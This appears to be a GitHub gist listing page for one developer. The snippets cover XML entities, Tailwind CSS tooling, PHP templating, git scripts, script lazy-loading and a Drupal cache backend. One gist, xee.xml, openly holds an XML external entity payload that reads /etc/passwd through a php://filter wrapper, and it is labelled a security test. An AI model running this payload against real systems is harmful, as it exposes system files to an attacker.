Skip to content

Instantly share code, notes, and snippets.

View LionsAd's full-sized avatar

Fabian Franz LionsAd

  • LionsAd
  • Schweiz
View GitHub Profile
@LionsAd
LionsAd / harmless.xml
Created March 2, 2022 14:35
A harmless xml file
<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless "completely harmless">]>
<results>
<result>This result is &harmless;</result>
</results>
@LionsAd
LionsAd / xee.xml
Created March 2, 2022 13:42
A XML file with a XEE attack included (intentional security test)
<?xml version="1.0"?>
<!DOCTYPE results [
<!ENTITY harmless SYSTEM
"php://filter/read=convert.base64-encode/resource=/etc/passwd"
>
]>
<results>
<result>&harmless;</result>
</results>
@LionsAd
LionsAd / TW-utilities.js
Created April 29, 2021 22:43
Tailwind.css-to-JSON
const fs = require("fs")
const postcss = require("postcss")
const selectorParser = require("postcss-selector-parser")
const {
promisify
} = require("util")
const {
createHash,
} = require('crypto')
@LionsAd
LionsAd / sample-output-1.php
Created December 17, 2020 15:11
Very WIP code for creating automatic compiled code for <x-alert> style components
<?php
function component($name, $functions) {
print_r([$name, $functions]);
if ($name == 'alert--0') {
$func = $functions['slot_title'];
$func();
}
}
?>
@LionsAd
LionsAd / preact-template.php
Last active November 25, 2020 00:47
Preact and template literals in PHP
<?php
require_once "tl.php";
function html($string) {
return tl('html', $string);
}
$tabs = [
(object) ['tray' => TRUE, 'url' => '/', 'title' => 'A tray item'],
(object) ['tray' => NULL, 'url' => '/admin', 'title' => 'Admin'],
@LionsAd
LionsAd / format-patch--directory.sh
Last active August 14, 2020 20:19
Re-create commit history of one folder including all subcommits with 2nd chance for conflicting merges
RANGE="$1"
NAME="$2"
SITE="$3"
OUTPUT="$4"
DIR="docroot/sites/all/modules/custom/${NAME}/"
# Get a list of all relevant commits
LIST=$(git log --oneline --first-parent --reverse ${RANGE} -- ${DIR});
I=0;
@LionsAd
LionsAd / Lazy-Load-Scripts-In-Order.md
Last active July 4, 2022 16:40
Lazy Load Javascript in Order

Introduction

Lazy loading scripts is a very good idea, because Javascript should be a progressive enhancement and not mandatory.

I know that's old school, but I still believe in that vision of the Web.

Jake Archibald tried this in 2013 (https://www.html5rocks.com/en/tutorials/speed/script-loading/) and kinda resigned "That. At the end of the body element.".

Much has changed since then and the programmatic way of loading the scripts as async works now. (https://www.html5rocks.com/en/tutorials/speed/script-loading/#toc-dom-rescue):

@LionsAd
LionsAd / response-to-real-differences-between-ot-and-crdt-for-co-editors.md
Last active July 13, 2019 06:09
Response to "Real Differences between OT and CRDT for Co-Editors"

To: Chengzheng Sun, David Sun, Agustina, Weiwei Cai

Thanks for the paper, it was very interesting to read.

Unfortunately the paper is having a strong direction of:

CRDT vs. OT

but that is not helpful in practice.

@LionsAd
LionsAd / ShmBackend.php
Created April 7, 2019 18:18
ShmBackend for ChainedFast
<?php
namespace Drupal\Core\Cache;
use Drupal\Component\Assertion\Inspector;
/**
* Stores cache items in /dev/shm.
*/
class ShmBackend implements CacheBackendInterface {